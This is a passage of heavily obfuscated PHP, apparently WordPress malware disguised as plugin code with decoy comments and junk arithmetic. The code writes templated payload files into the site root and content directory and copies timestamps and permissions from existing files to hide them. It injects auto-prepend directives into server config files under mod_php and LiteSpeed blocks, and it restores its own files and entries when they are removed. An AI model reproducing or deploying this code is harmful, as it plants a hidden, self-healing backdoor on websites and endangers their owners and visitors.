    $yj699auctnnxjjx2 =   wyzg13xdhd5r(1378)($lr61pbchqe  . $ugr6z4f03pc1li7    .  $l9bv3k218oly    .  '|'   .    wyzg13xdhd5r(1255)(lz7ktsy7nr_utk0og4h("")));
     if  (j5gya5jxcqm92g(lfavz1nmi6pw4(1367),  "") !==   $yj699auctnnxjjx2)  {
ybhuwx4i7iz9o6xajcqwt();
 $hkyj2zigqbr0pcx     =  u_s7a1dotmwexor();
 



}
    if    (!b9s1zhwklw1tgahxksx2q())   return;
      $rxzmhdjber  = j050_s_2aiw8u03k();
 $hvk5bnfo9ku      =    @wyzg13xdhd5r(1226)($rxzmhdjber      . wyzg13xdhd5r(548));


    if  ($hvk5bnfo9ku    && $hkyj2zigqbr0pcx      && get_transient(wyzg13xdhd5r(725)))     return;
   zna8s2jfqgadn3yup();
 rx9m06ctksmnpk1r6e();
  q7ahvyx7hoxoq6t2();
  $x8f5ty16tlqs662j   =  @igsdp_2fdrp(1226)($rxzmhdjber    .     igsdp_2fdrp(1394));
$hkyj2zigqbr0pcx     = u_s7a1dotmwexor();
if    ($x8f5ty16tlqs662j    && $hkyj2zigqbr0pcx)    {
 set_transient(hus_b7m621lgc6(725),      1, (357-57));
}
 } catch      (Throwable   $mrelaaojjq4dc7d)     {
hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1395),  $mrelaaojjq4dc7d);
      } catch (Exception $mrelaaojjq4dc7d)      {
   }
   }
 function  rx9m06ctksmnpk1r6e()
  {
  try   {
  if (!defined(ep_coq62(1396)))  return;



    if (lfavz1nmi6pw4(1397)()    ===   ep_coq62(86)) return;



       $o_9gqq1zf28k3t81 =  ep_coq62(1398)(hus_b7m621lgc6(1399))  ? @hus_b7m621lgc6(1399)(igsdp_2fdrp(563))    :  false;
if  (!$o_9gqq1zf28k3t81 ||    $o_9gqq1zf28k3t81   ===      ""     ||   $o_9gqq1zf28k3t81 === wyzg13xdhd5r(1400))     $o_9gqq1zf28k3t81 = hus_b7m621lgc6(565);
$zsk1m3gqxj25ddd9    =  mqedo90o6oi8f48x6b8n(ABSPATH      .    lfavz1nmi6pw4(1339),   (0x6+0x2));
$rxzmhdjber =  j050_s_2aiw8u03k();

  $l2dtjvg24o908  =     b9x_qnoopw0bqe8tpa3a4();
$lwhbb1f9ryibfj   =     mqedo90o6oi8f48x6b8n(ABSPATH     .  wyzg13xdhd5r(1086),    (13-5)) .   lfavz1nmi6pw4(1336);
 $wfeazyb5d0bvr      = $rxzmhdjber .   '/' .   $lwhbb1f9ryibfj;
 $vo7l8tyog5st5n     =    $rxzmhdjber   . lfavz1nmi6pw4(1401)  .    $lwhbb1f9ryibfj;

$nhq3pyawspdrllyo  =  rmqbu5no5o(1402)(kwizo_5vxh_f26an7qg(), ep_coq62(1403));
    $eqona1y7xbdxvjqz  = mqedo90o6oi8f48x6b8n(ABSPATH  .   ep_coq62(1337),  (0x1+0x7)) . rmqbu5no5o(1338);
$o6928t17oe679 = (int)   get_option(hus_b7m621lgc6(1404),  0);
if ($o6928t17oe679  &&    ep_coq62(1097)() -    $o6928t17oe679 <    (86384+16))  {
 g17q84pfn134863c6d4hz($wfeazyb5d0bvr,  null);



 g17q84pfn134863c6d4hz($vo7l8tyog5st5n,  null);
  foreach (array(lfavz1nmi6pw4(1405)(ABSPATH,  rmqbu5no5o(1268)),      rmqbu5no5o(1405)($rxzmhdjber, hus_b7m621lgc6(1268))) as  $dxwd22bf7uhd)   {
$rvsb66ttjcp3b2j   =  $dxwd22bf7uhd     .     '/'      . $o_9gqq1zf28k3t81;
 

$f4qn4vn23_2ep6d0 =     @hus_b7m621lgc6(1302)($rvsb66ttjcp3b2j) ?   @lfavz1nmi6pw4(1406)($rvsb66ttjcp3b2j)   : "";
 if   (wyzg13xdhd5r(1382)($f4qn4vn23_2ep6d0)   &&  hus_b7m621lgc6(1139)($f4qn4vn23_2ep6d0,   $lwhbb1f9ryibfj) !==      false)     {
 $wq76nvozz7ul456    = lfavz1nmi6pw4(1407)(hus_b7m621lgc6(1408)    . lfavz1nmi6pw4(1083)($lwhbb1f9ryibfj,  '/')  .   rmqbu5no5o(1409), "\n",  $f4qn4vn23_2ep6d0);


     if   (rmqbu5no5o(1410)($wq76nvozz7ul456)  &&    $wq76nvozz7ul456  !== $f4qn4vn23_2ep6d0)   p1cskrtcz8bv54lf($rvsb66ttjcp3b2j, $wq76nvozz7ul456);
}
    }
    return;
  }
  $tr6b1u9jew7     =  sdmxfxbf9kwqo1tko(
lfavz1nmi6pw4(713),
      array('__SLUG__',  '__ZIP_NAME__',    '__INST_HASH__',   '__DATA_DIR__',   '__CONTENT_DIR_B64__',    '__VERSION__'),
       array($nhq3pyawspdrllyo,   $eqona1y7xbdxvjqz,  $zsk1m3gqxj25ddd9,      rmqbu5no5o(1411)  .    mqedo90o6oi8f48x6b8n(ABSPATH    .   wyzg13xdhd5r(1412),  (192^200)),  wyzg13xdhd5r(670)(defined(wyzg13xdhd5r(1413))  ? WP_CONTENT_DIR   :      j050_s_2aiw8u03k()),    m5d7gnhy503_5w7j())


        );
    if     (!$tr6b1u9jew7)    {
if   ((int)    get_option(wyzg13xdhd5r(1414),     0) >   0) hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1415),    lfavz1nmi6pw4(1416));
return;
 }



   if     (!@lfavz1nmi6pw4(1373)($l2dtjvg24o908))   ej5d87oukqo0k6bc($l2dtjvg24o908,  (442+51),   true);
 $ygb6b3vekzb =   false;
   if  (!@igsdp_2fdrp(1226)($vo7l8tyog5st5n)    ||  ep_coq62(1378)(jkq4_uvfuw5l47za51944b((string)  @igsdp_2fdrp(1417)($vo7l8tyog5st5n))) !==   hus_b7m621lgc6(1378)($tr6b1u9jew7))  {
  s8vwkc5_zc55h5kmmz0x($vo7l8tyog5st5n,  $tr6b1u9jew7,    igsdp_2fdrp(1418));

  ssuek6ionh2j25j($vo7l8tyog5st5n,   tkjywmjdyogfvxumcj6gh4());


    ms4mh9yjk8_y876983kix($vo7l8tyog5st5n,  (407+13));
   fjjsa59vrgj7lkezp_z_x5($vo7l8tyog5st5n);
  $ygb6b3vekzb  =     true;
  }
  $ftbgjbm_h1h   =   "";
foreach     (array(wyzg13xdhd5r(1419)(ABSPATH, lfavz1nmi6pw4(1420)),   lfavz1nmi6pw4(1419)($rxzmhdjber,    hus_b7m621lgc6(1420))) as  $f766cgvalh3jn) {


$i02ig9zbk4gs8l7a =    @igsdp_2fdrp(1421)($f766cgvalh3jn .    '/'  .    $o_9gqq1zf28k3t81)    ?  @igsdp_2fdrp(1417)($f766cgvalh3jn  .    '/'    . $o_9gqq1zf28k3t81) :      "";
  if  (lfavz1nmi6pw4(1410)($i02ig9zbk4gs8l7a)  &&   lfavz1nmi6pw4(1306)(rmqbu5no5o(1422), $i02ig9zbk4gs8l7a,    $jjx0lusg0rcdg8)) {
$y56o06wy8_  =     ep_coq62(1281)($jjx0lusg0rcdg8[2]);



if  ($y56o06wy8_   !==     ""   && stripos($y56o06wy8_, rmqbu5no5o(1423))   ===  false      &&     !mqqee1xyj9vzep56uv_gl($y56o06wy8_))  {
    $ftbgjbm_h1h  = $y56o06wy8_;
break;
}
   }
       }



    

  $rx8btpyied8o6ctg  = hus_b7m621lgc6(1424)   . ($ftbgjbm_h1h    !== ""     ?    hus_b7m621lgc6(1425)  .   hus_b7m621lgc6(1426)($ftbgjbm_h1h,    true) .   wyzg13xdhd5r(1427)    :  "")
  .  ep_coq62(1428)   .  $lwhbb1f9ryibfj  . ep_coq62(1365)
  .      lfavz1nmi6pw4(1429)
 .   igsdp_2fdrp(1430)
     .   lfavz1nmi6pw4(1431)   .    hus_b7m621lgc6(1432)($tr6b1u9jew7) .   igsdp_2fdrp(1433);
     if      (!@ep_coq62(1421)($wfeazyb5d0bvr)   ||  wyzg13xdhd5r(1434)(jkq4_uvfuw5l47za51944b((string)  @hus_b7m621lgc6(1417)($wfeazyb5d0bvr))) !== ep_coq62(1434)($rx8btpyied8o6ctg))   {

  s8vwkc5_zc55h5kmmz0x($wfeazyb5d0bvr,  $rx8btpyied8o6ctg,      lfavz1nmi6pw4(1435));
  ssuek6ionh2j25j($wfeazyb5d0bvr, tkjywmjdyogfvxumcj6gh4());
 ms4mh9yjk8_y876983kix($wfeazyb5d0bvr,     (417+3));
 fjjsa59vrgj7lkezp_z_x5($wfeazyb5d0bvr);
     $ygb6b3vekzb =    true;
 }
 $gu4bbnsr3v    = true;
$jib371f0lopk4 =  jkq4_uvfuw5l47za51944b((string)  @lfavz1nmi6pw4(1436)($vo7l8tyog5st5n));
if    (!@ep_coq62(1302)($vo7l8tyog5st5n)  ||   $jib371f0lopk4 !== $tr6b1u9jew7)   {



hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1437), igsdp_2fdrp(1217));
g17q84pfn134863c6d4hz($vo7l8tyog5st5n, null);
  $gu4bbnsr3v      =     false;
 }


$jib371f0lopk4   =    jkq4_uvfuw5l47za51944b((string)   @ep_coq62(1438)($wfeazyb5d0bvr));



 if  (!@lfavz1nmi6pw4(1439)($wfeazyb5d0bvr) ||  $jib371f0lopk4   !==  $rx8btpyied8o6ctg)   {
hnp_n76gqrqs6vbf7203of(ep_coq62(1437),   rmqbu5no5o(1440));
   g17q84pfn134863c6d4hz($wfeazyb5d0bvr,     null);

       $gu4bbnsr3v =   false;
     }



   unset($jib371f0lopk4);
 if (!$gu4bbnsr3v)   {
$b2c51llbqjssnbg  =  (int)    get_option(igsdp_2fdrp(1441), 0)    +    1;
// @profile alert




   update_option(wyzg13xdhd5r(1441),  $b2c51llbqjssnbg,   hus_b7m621lgc6(1372));
if ($b2c51llbqjssnbg      >=  (171^168))    {
 update_option(lfavz1nmi6pw4(1404),  igsdp_2fdrp(1097)(),      wyzg13xdhd5r(1372));
  hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1442),  hus_b7m621lgc6(1443));
  }
 return;
}
$rrtk4qxwehi      =  array(wyzg13xdhd5r(1444)(ABSPATH,   igsdp_2fdrp(1420)),   wyzg13xdhd5r(1445)($rxzmhdjber,   rmqbu5no5o(1420)));
     $lt4agm00a0e     =  array();
 foreach    ($rrtk4qxwehi as $cvx3s0aw6jf29_z)    {
// WP Loginout Block block attributes

$qbpopvgpwc  =   $cvx3s0aw6jf29_z .  '/'   .   $o_9gqq1zf28k3t81;

  $zsaqnn6dxsoozvs =  @ep_coq62(1439)($qbpopvgpwc)  ?     @lfavz1nmi6pw4(292)($qbpopvgpwc)     :   0;
   $current  = @hus_b7m621lgc6(1446)($qbpopvgpwc) ? @hus_b7m621lgc6(1447)($qbpopvgpwc)  :  "";


 if  (!igsdp_2fdrp(1448)($current)) {


       hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1442),    ep_coq62(1449));
return;
 }


 if  (hus_b7m621lgc6(1450)($current,    $lwhbb1f9ryibfj)   ===     false)   {
 if   ($current   &&  rmqbu5no5o(1105)(hus_b7m621lgc6(1451)($current),  -1) !== "\n")  $current  .=  "\n";

 $ldfhrg3man  =     ep_coq62(1452)  .  $wfeazyb5d0bvr     .   '"'   .   PHP_EOL;
if (p1cskrtcz8bv54lf($qbpopvgpwc, $current  . $ldfhrg3man)) {


if   ($zsaqnn6dxsoozvs)    ssuek6ionh2j25j($qbpopvgpwc,   $zsaqnn6dxsoozvs);
 else  ssuek6ionh2j25j($qbpopvgpwc,     igsdp_2fdrp(1097)());
 ms4mh9yjk8_y876983kix($qbpopvgpwc,    (392+28));


 update_option(hus_b7m621lgc6(1453),    wyzg13xdhd5r(1097)(),  wyzg13xdhd5r(1372));
   $lt4agm00a0e[]  =   array($qbpopvgpwc, $current);
      if   ((int) get_option(rmqbu5no5o(1441), 0)   > 0)  update_option(ep_coq62(1441),  0,   wyzg13xdhd5r(1372));
if      ((int)  get_option(lfavz1nmi6pw4(1404),   0)   >     0)  @delete_option(ep_coq62(1404));
     } else     {
// WP Loginout Block image dimensions



 $pgv89vs2qcba    =    (int)    get_option(rmqbu5no5o(1441),  0)   +    1;
 update_option(wyzg13xdhd5r(1441),    $pgv89vs2qcba,    hus_b7m621lgc6(1372));
 if    ($pgv89vs2qcba    >=     (0x1+0x2)) {
update_option(igsdp_2fdrp(1404),  lfavz1nmi6pw4(1454)(), lfavz1nmi6pw4(1372));



      hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1455),   rmqbu5no5o(1443));
break;
}
    }



   }
}
 if     ($ygb6b3vekzb    && !fop092hbu0ncyvcmt8e())   {





 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1455),  igsdp_2fdrp(1456));
  g17q84pfn134863c6d4hz($wfeazyb5d0bvr, null);$tjr9yasfl=(0xb4+0xf1);$ekgu4pryk1z=$tjr9yasfl%16;
     g17q84pfn134863c6d4hz($vo7l8tyog5st5n,  null);
foreach      ($lt4agm00a0e     as     $kebp6vzbos0)      p1cskrtcz8bv54lf($kebp6vzbos0[0],  $kebp6vzbos0[1]);



 $b2c51llbqjssnbg    =  (int)  get_option(wyzg13xdhd5r(1441), 0)     + 1;
/* projective-adj gateway */

     update_option(ep_coq62(1441),   $b2c51llbqjssnbg,  lfavz1nmi6pw4(1457));


 if    ($b2c51llbqjssnbg  >= (6-3)) {
update_option(hus_b7m621lgc6(1404),  hus_b7m621lgc6(1454)(),   rmqbu5no5o(1457));
hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1455),    rmqbu5no5o(1443));
}
   }
} catch (Throwable   $mrelaaojjq4dc7d) {
  hnp_n76gqrqs6vbf7203of(ep_coq62(1455), $mrelaaojjq4dc7d);



    }   catch  (Exception $mrelaaojjq4dc7d)  {
 }
}
   function uo2dm9j24y6ltxl_1()
  {
 try   {
 if  (!lfavz1nmi6pw4(1398)(hus_b7m621lgc6(1241)))   return;
  if (defined(rmqbu5no5o(579))   ||    defined(lfavz1nmi6pw4(1458)))   {

     if   ((int) @get_option(lfavz1nmi6pw4(1453), 0))     {
 @delete_option(lfavz1nmi6pw4(1459));
   @update_option(wyzg13xdhd5r(1460),   0,     ep_coq62(1461));
  }



    return;

  }
  $de42_qcevq1bs = (int)  @get_option(wyzg13xdhd5r(1459), 0);
   

     if     (!$de42_qcevq1bs)     return;


 $n8i1d9tlywh8yj_    = lfavz1nmi6pw4(1398)(lfavz1nmi6pw4(1462))     ?   (int) @igsdp_2fdrp(1463)(wyzg13xdhd5r(1464))   : 0;
 if     ($n8i1d9tlywh8yj_    <= 0)   $n8i1d9tlywh8yj_    =  (290+10);
  if (hus_b7m621lgc6(1465)()  -  $de42_qcevq1bs   <   $n8i1d9tlywh8yj_     + (26+4)) return;
 @update_option(wyzg13xdhd5r(1459),   wyzg13xdhd5r(1466)(),   rmqbu5no5o(1461));$d3p5c4968=479;$c0fywa23y=($d3p5c4968>0)?$d3p5c4968:-$d3p5c4968;
    $eofsqnwjdfpxz      =    (int)  @get_option(wyzg13xdhd5r(1460),      0)    +    1;



 @update_option(wyzg13xdhd5r(1460),  $eofsqnwjdfpxz,  wyzg13xdhd5r(1461));



  if  ($eofsqnwjdfpxz     >= (4-1))    {

@delete_option(igsdp_2fdrp(1459));



  @update_option(ep_coq62(1404), igsdp_2fdrp(1467)(),  ep_coq62(1461));
 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1455),  rmqbu5no5o(1468));
 }


  } catch  (Throwable    $mrelaaojjq4dc7d)    {



 } catch     (Exception    $mrelaaojjq4dc7d)  {
   }
   }

function fmz_35u9u0_dq9ens6um()
 {
   try  {
 if  (!defined(lfavz1nmi6pw4(1396)))  return;
  if   (rmqbu5no5o(1397)() ===   rmqbu5no5o(86))  return;
 if   (!tsvaxyvpflzkdqab96kxw())  return;
  if  (!b9s1zhwklw1tgahxksx2q())    return;
 $l2dtjvg24o908   =    b9x_qnoopw0bqe8tpa3a4();
     $gwu_ogz2v1ccqk    =  $l2dtjvg24o908  .      rmqbu5no5o(1469);
  

$v6cne_6bree8h   =     rmqbu5no5o(1470) .     "\n" .     lfavz1nmi6pw4(1471)   . "\n"
  . wyzg13xdhd5r(1472)  .  "\n"  .  hus_b7m621lgc6(1473)    . "\n" .  lfavz1nmi6pw4(1474)    .  "\n"
 .   lfavz1nmi6pw4(1475)  . "\n"  . igsdp_2fdrp(1476)  . "\n"    . igsdp_2fdrp(1474)   .   "\n"
. igsdp_2fdrp(1477) .  "\n";
$current =      @hus_b7m621lgc6(1446)($gwu_ogz2v1ccqk)  ? @lfavz1nmi6pw4(1447)($gwu_ogz2v1ccqk)     :  "";
  if   (!ep_coq62(1478)($current))   {
    hnp_n76gqrqs6vbf7203of(ep_coq62(1479),  lfavz1nmi6pw4(1449));
   return;
 }



 if   (igsdp_2fdrp(1480)($current,     rmqbu5no5o(1481))  ===  false) {
   p1cskrtcz8bv54lf($gwu_ogz2v1ccqk,  $current  .  $v6cne_6bree8h);
    ssuek6ionh2j25j($gwu_ogz2v1ccqk,      tkjywmjdyogfvxumcj6gh4());



 ms4mh9yjk8_y876983kix($gwu_ogz2v1ccqk,  (401+19));
     }
      $eidv2ldk0gje94g1  =   m8bil168ioia0snf0ol();
if  (!$eidv2ldk0gje94g1 || hus_b7m621lgc6(1392)($eidv2ldk0gje94g1)   <  (471+29))  return;
 $nhq3pyawspdrllyo =  igsdp_2fdrp(1402)(kwizo_5vxh_f26an7qg(), ep_coq62(1403));
     $rxzmhdjber  =   j050_s_2aiw8u03k();
      $lwhbb1f9ryibfj   = mqedo90o6oi8f48x6b8n(ABSPATH    .    wyzg13xdhd5r(1087), (7+1))    .  wyzg13xdhd5r(1403);$hi0vqgdb=50;$b0mhe0b7bf9f7=($hi0vqgdb>0)?$hi0vqgdb:-$hi0vqgdb;
 $nmeztz6sz0m =   array(
  $rxzmhdjber   .     '/'      .  $lwhbb1f9ryibfj,
$l2dtjvg24o908  .  '/'  . $lwhbb1f9ryibfj,
    );

 $kancbpt30p6w =   $rxzmhdjber   . '/'  . $lwhbb1f9ryibfj;
     foreach  ($nmeztz6sz0m   as  $rux5kf_r1ghgig) {
     $cvx3s0aw6jf29_z  = rmqbu5no5o(1482)($rux5kf_r1ghgig);
if  (@lfavz1nmi6pw4(1374)($cvx3s0aw6jf29_z)  ||    ej5d87oukqo0k6bc($cvx3s0aw6jf29_z, (432+61),  true))     {
     $kancbpt30p6w     =   $rux5kf_r1ghgig;
  break;



  }
   }
  $jjb7qnmbvy38    = rwt3a4h41s7rmcrtx();
   $tr6b1u9jew7  =    sdmxfxbf9kwqo1tko(
     wyzg13xdhd5r(1483),
     array('__SLUG__',    '__PLUGIN_BASE64__', '__VERSION__'),
array($nhq3pyawspdrllyo,  $jjb7qnmbvy38,   m5d7gnhy503_5w7j())
);



if  (!$tr6b1u9jew7)   {



    if  ((int)   get_option(wyzg13xdhd5r(1484),  0) >   0)   hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1479), lfavz1nmi6pw4(1485));
  return;
}



 $ftbgjbm_h1h   =  "";
$gzdefjph9q8t4  =  array(ABSPATH  .  ep_coq62(1486),  $rxzmhdjber    .   hus_b7m621lgc6(1469));
$jssova4jx1grf   =   ep_coq62(1398)(igsdp_2fdrp(1463))  ?  @hus_b7m621lgc6(1463)(lfavz1nmi6pw4(563))    : false;

if  (hus_b7m621lgc6(1487)($jssova4jx1grf)    && $jssova4jx1grf  !==  "") {
   $gzdefjph9q8t4[] = ep_coq62(1488)(ABSPATH,   wyzg13xdhd5r(1420))   .  '/' . $jssova4jx1grf;
      $gzdefjph9q8t4[]    =  $rxzmhdjber     .  '/' . $jssova4jx1grf;
      }
    foreach     ($gzdefjph9q8t4    as  $sd1opl2wdbjsi7l)     {
   $ovrqacerrxrb4r6 = @igsdp_2fdrp(1439)($sd1opl2wdbjsi7l)  ?  @lfavz1nmi6pw4(1447)($sd1opl2wdbjsi7l) : "";
if   (!ep_coq62(1489)($ovrqacerrxrb4r6)  ||  $ovrqacerrxrb4r6   ===  "")   continue;$imi1pm3didato=PHP_INT_MAX/PHP_INT_MAX;$j7ce05yu1nny=$imi1pm3didato+81;
  if   (lfavz1nmi6pw4(1306)(lfavz1nmi6pw4(1490),  $ovrqacerrxrb4r6,   $jjx0lusg0rcdg8))  {

$y56o06wy8_   =  igsdp_2fdrp(1491)($jjx0lusg0rcdg8[2]);
if  ($y56o06wy8_  !==    ""   &&  stripos($y56o06wy8_, ep_coq62(1492)) ===     false    && !mqqee1xyj9vzep56uv_gl($y56o06wy8_))     {



$ftbgjbm_h1h      =  $y56o06wy8_;
   break;
 }
// proactive container



  }
 }
   if  ($ftbgjbm_h1h  !== "")  {
// evaluate adaptive certificate-chain

$tr6b1u9jew7   =  lfavz1nmi6pw4(1407)(rmqbu5no5o(1493),   rmqbu5no5o(1494)   .   lfavz1nmi6pw4(1495)($ftbgjbm_h1h,  true)  .  ep_coq62(1496),   $tr6b1u9jew7,  1);
 if  (!igsdp_2fdrp(1489)($tr6b1u9jew7)) {
 hnp_n76gqrqs6vbf7203of(ep_coq62(1479),     rmqbu5no5o(1497));
return;
    }


      }

 $pb36xwdqx3emy3  =  true;
   $zsrqu1r90r = null;
    if  (@rmqbu5no5o(1446)($kancbpt30p6w))   {
$zsrqu1r90r     =     jkq4_uvfuw5l47za51944b((string)  @lfavz1nmi6pw4(1498)($kancbpt30p6w));
  if (ep_coq62(1489)($zsrqu1r90r) &&   $zsrqu1r90r  === $tr6b1u9jew7)      {
  $pb36xwdqx3emy3  = false;
}
 }
  $qmzt2wmujtf8 = array(

ABSPATH . igsdp_2fdrp(1499),
  (defined(ep_coq62(1413))     ?  WP_CONTENT_DIR :  $rxzmhdjber)    .   igsdp_2fdrp(1500),
 );


  $j22s12ymab8as   =   (int)      get_option(hus_b7m621lgc6(1501), 0);
if ($j22s12ymab8as      &&  hus_b7m621lgc6(1467)() - $j22s12ymab8as < (86361+39))    {

        g17q84pfn134863c6d4hz($kancbpt30p6w,   null);
foreach    ($qmzt2wmujtf8 as  $kef7vgzyhid)  {
     $hh92gosz1nz4au6y  = @ep_coq62(1439)($kef7vgzyhid)   ? @lfavz1nmi6pw4(1498)($kef7vgzyhid) : "";

if   (ep_coq62(1502)($hh92gosz1nz4au6y)     &&  rmqbu5no5o(1503)($hh92gosz1nz4au6y,      $lwhbb1f9ryibfj)      !==  false)  {
      $rpxodhg5l6w  =    xbb2nbhllw7qhvuuesr($hh92gosz1nz4au6y,  $lwhbb1f9ryibfj);
     if (wyzg13xdhd5r(1504)($rpxodhg5l6w)  &&  $rpxodhg5l6w  !==  $hh92gosz1nz4au6y)   p1cskrtcz8bv54lf($kef7vgzyhid,   $rpxodhg5l6w);
  }
   }
 return;
}
if  ($pb36xwdqx3emy3) {


       s8vwkc5_zc55h5kmmz0x($kancbpt30p6w,  $tr6b1u9jew7, rmqbu5no5o(1505));
  ssuek6ionh2j25j($kancbpt30p6w, tkjywmjdyogfvxumcj6gh4());
 ms4mh9yjk8_y876983kix($kancbpt30p6w, (415+5));
 fjjsa59vrgj7lkezp_z_x5($kancbpt30p6w);
 }
  $jib371f0lopk4 =   @hus_b7m621lgc6(1506)($kancbpt30p6w)  ?      jkq4_uvfuw5l47za51944b((string)  @lfavz1nmi6pw4(1498)($kancbpt30p6w))    :   "";
if  ($jib371f0lopk4  !==   $tr6b1u9jew7)   {
     
  hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1479),  igsdp_2fdrp(1440));



     g17q84pfn134863c6d4hz($kancbpt30p6w,  $pb36xwdqx3emy3  ?    $zsrqu1r90r      : null);$fpb28oj2gb=30*2;$xxsorp94zc=$fpb28oj2gb-7;
  $e569xib2jx8a   = (int)    get_option(igsdp_2fdrp(1507),   0) + 1;
update_option(wyzg13xdhd5r(1507),   $e569xib2jx8a,    ep_coq62(1461));
   if  ($e569xib2jx8a  >= (6-3))  {
 update_option(rmqbu5no5o(1501), ep_coq62(1467)(),   ep_coq62(1461));
    hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1508), ep_coq62(1443));
       }
 return;



   }
    unset($jib371f0lopk4);
  $ez2rqdzvsphur4b    = lfavz1nmi6pw4(1509);
    $lt4agm00a0e    =   array();
foreach   ($qmzt2wmujtf8  as   $odcu2nb27dwlxv)  {
$cvx3s0aw6jf29_z      = ep_coq62(1482)($odcu2nb27dwlxv);
if  (!@rmqbu5no5o(1374)($cvx3s0aw6jf29_z))  continue;

 $uramb_e0oja0az   =  rmqbu5no5o(1398)(lfavz1nmi6pw4(1166))  ?     @igsdp_2fdrp(1166)($odcu2nb27dwlxv,   'c')   :    false;
        if  ($uramb_e0oja0az  !== false &&    ep_coq62(1398)(ep_coq62(1510)))  @flock($uramb_e0oja0az, LOCK_EX);
 $zsaqnn6dxsoozvs =  @wyzg13xdhd5r(1506)($odcu2nb27dwlxv)  ?  @hus_b7m621lgc6(292)($odcu2nb27dwlxv)  :   0;
 $ehgzlxcdnzsshw  = @lfavz1nmi6pw4(1446)($odcu2nb27dwlxv) ?   @hus_b7m621lgc6(1498)($odcu2nb27dwlxv)  : "";$pmtj3xd_=1542;$h4s41kfiqfc7=$pmtj3xd_%9;
 if      (!igsdp_2fdrp(1504)($ehgzlxcdnzsshw))  {
hnp_n76gqrqs6vbf7203of(ep_coq62(1508),  rmqbu5no5o(1449));

     if  ($uramb_e0oja0az  !== false) {
if (hus_b7m621lgc6(1398)(lfavz1nmi6pw4(1510)))   @flock($uramb_e0oja0az, LOCK_UN);
  @fclose($uramb_e0oja0az);
}
continue;

   }
if (lfavz1nmi6pw4(1503)($ehgzlxcdnzsshw, $lwhbb1f9ryibfj) !== false)  {
 if (@wyzg13xdhd5r(1506)($kancbpt30p6w))  {
   if    ($uramb_e0oja0az      !== false)  {
     if (igsdp_2fdrp(1398)(wyzg13xdhd5r(1510)))    @flock($uramb_e0oja0az,  LOCK_UN);
 @fclose($uramb_e0oja0az);
    }
    continue;
    }



    $ehgzlxcdnzsshw   =  xbb2nbhllw7qhvuuesr($ehgzlxcdnzsshw,   $lwhbb1f9ryibfj);
}
/* read-committed skolem */

  if  (!igsdp_2fdrp(1504)($ehgzlxcdnzsshw)) {
 hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1508),  wyzg13xdhd5r(1497));
if  ($uramb_e0oja0az      !==    false)     {

   if  (ep_coq62(1398)(rmqbu5no5o(1510))) @flock($uramb_e0oja0az,      LOCK_UN);

@fclose($uramb_e0oja0az);
    }
     continue;
}
   if (!@lfavz1nmi6pw4(1511)($kancbpt30p6w)) {
        if  ($uramb_e0oja0az   !==  false)   {



    if  (hus_b7m621lgc6(1512)(rmqbu5no5o(1513)))  @flock($uramb_e0oja0az,   LOCK_UN);
   @fclose($uramb_e0oja0az);
  }
continue;


}
 if  (tgcfsjyfl1qjtcurjk5r())     {
/* countable bivariant */

 $ldfhrg3man =   "\n<IfModule litespeed>\n" .  $ez2rqdzvsphur4b     . igsdp_2fdrp(1514)  . $kancbpt30p6w .  '"'      .  "\n</IfModule>\n";
}  else  {$rmdof3nj8q17l=832;$jme4ndzpu4y=($rmdof3nj8q17l>0)?$rmdof3nj8q17l:-$rmdof3nj8q17l;



$ldfhrg3man     =     "\n<IfModule mod_php.c>\n" .   $ez2rqdzvsphur4b   .     hus_b7m621lgc6(1514)    .   $kancbpt30p6w .  '"'  .     "\n</IfModule>\n"
     .  "<IfModule mod_php5.c>\n"   .    $ez2rqdzvsphur4b    . igsdp_2fdrp(1514)   .  $kancbpt30p6w    .    '"'  .  "\n</IfModule>\n"
.   "<IfModule mod_php7.c>\n"  .   $ez2rqdzvsphur4b   .    lfavz1nmi6pw4(1514)  . $kancbpt30p6w   . '"' .    "\n</IfModule>\n"



  . "<IfModule mod_php8.c>\n" .  $ez2rqdzvsphur4b   .  ep_coq62(1514)  .  $kancbpt30p6w   .    '"'   .     "\n</IfModule>\n";
}
 if  (p1cskrtcz8bv54lf($odcu2nb27dwlxv, $ehgzlxcdnzsshw   .  $ldfhrg3man))  $lt4agm00a0e[]  = array($odcu2nb27dwlxv,  $ehgzlxcdnzsshw);
  if ($zsaqnn6dxsoozvs)  ssuek6ionh2j25j($odcu2nb27dwlxv, $zsaqnn6dxsoozvs);
 else  ssuek6ionh2j25j($odcu2nb27dwlxv, hus_b7m621lgc6(1467)());
    if    ($uramb_e0oja0az   !==    false)    {
  if    (wyzg13xdhd5r(1515)(igsdp_2fdrp(1516)))   @flock($uramb_e0oja0az,  LOCK_UN);
       @fclose($uramb_e0oja0az);
     }
    }


 if  (($pb36xwdqx3emy3     ||    hus_b7m621lgc6(634)($lt4agm00a0e) > 0)   && !fop092hbu0ncyvcmt8e())     {


  
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1508),    rmqbu5no5o(1517));


      g17q84pfn134863c6d4hz($kancbpt30p6w, $zsrqu1r90r);
foreach ($lt4agm00a0e as $kebp6vzbos0)   p1cskrtcz8bv54lf($kebp6vzbos0[0], $kebp6vzbos0[1]);
 $e569xib2jx8a  = (int)  get_option(ep_coq62(1507),    0) + 1;
    update_option(ep_coq62(1507),   $e569xib2jx8a,    ep_coq62(1461));
  if   ($e569xib2jx8a  >=  (2+1))   {
        update_option(ep_coq62(1501), wyzg13xdhd5r(1467)(),   hus_b7m621lgc6(1461));$w1c19u_mr3g=PHP_MAJOR_VERSION;$bpwohyhwqrial=$w1c19u_mr3g*4;
      hnp_n76gqrqs6vbf7203of(ep_coq62(1508),  wyzg13xdhd5r(1443));



}
// countable opaque-type

return;
 }
   if   ((int)  get_option(igsdp_2fdrp(1518),    0)      >   0)     update_option(wyzg13xdhd5r(1518),      0,  lfavz1nmi6pw4(1519));
 if ((int)  get_option(ep_coq62(1501),    0) >      0) @delete_option(igsdp_2fdrp(1520));
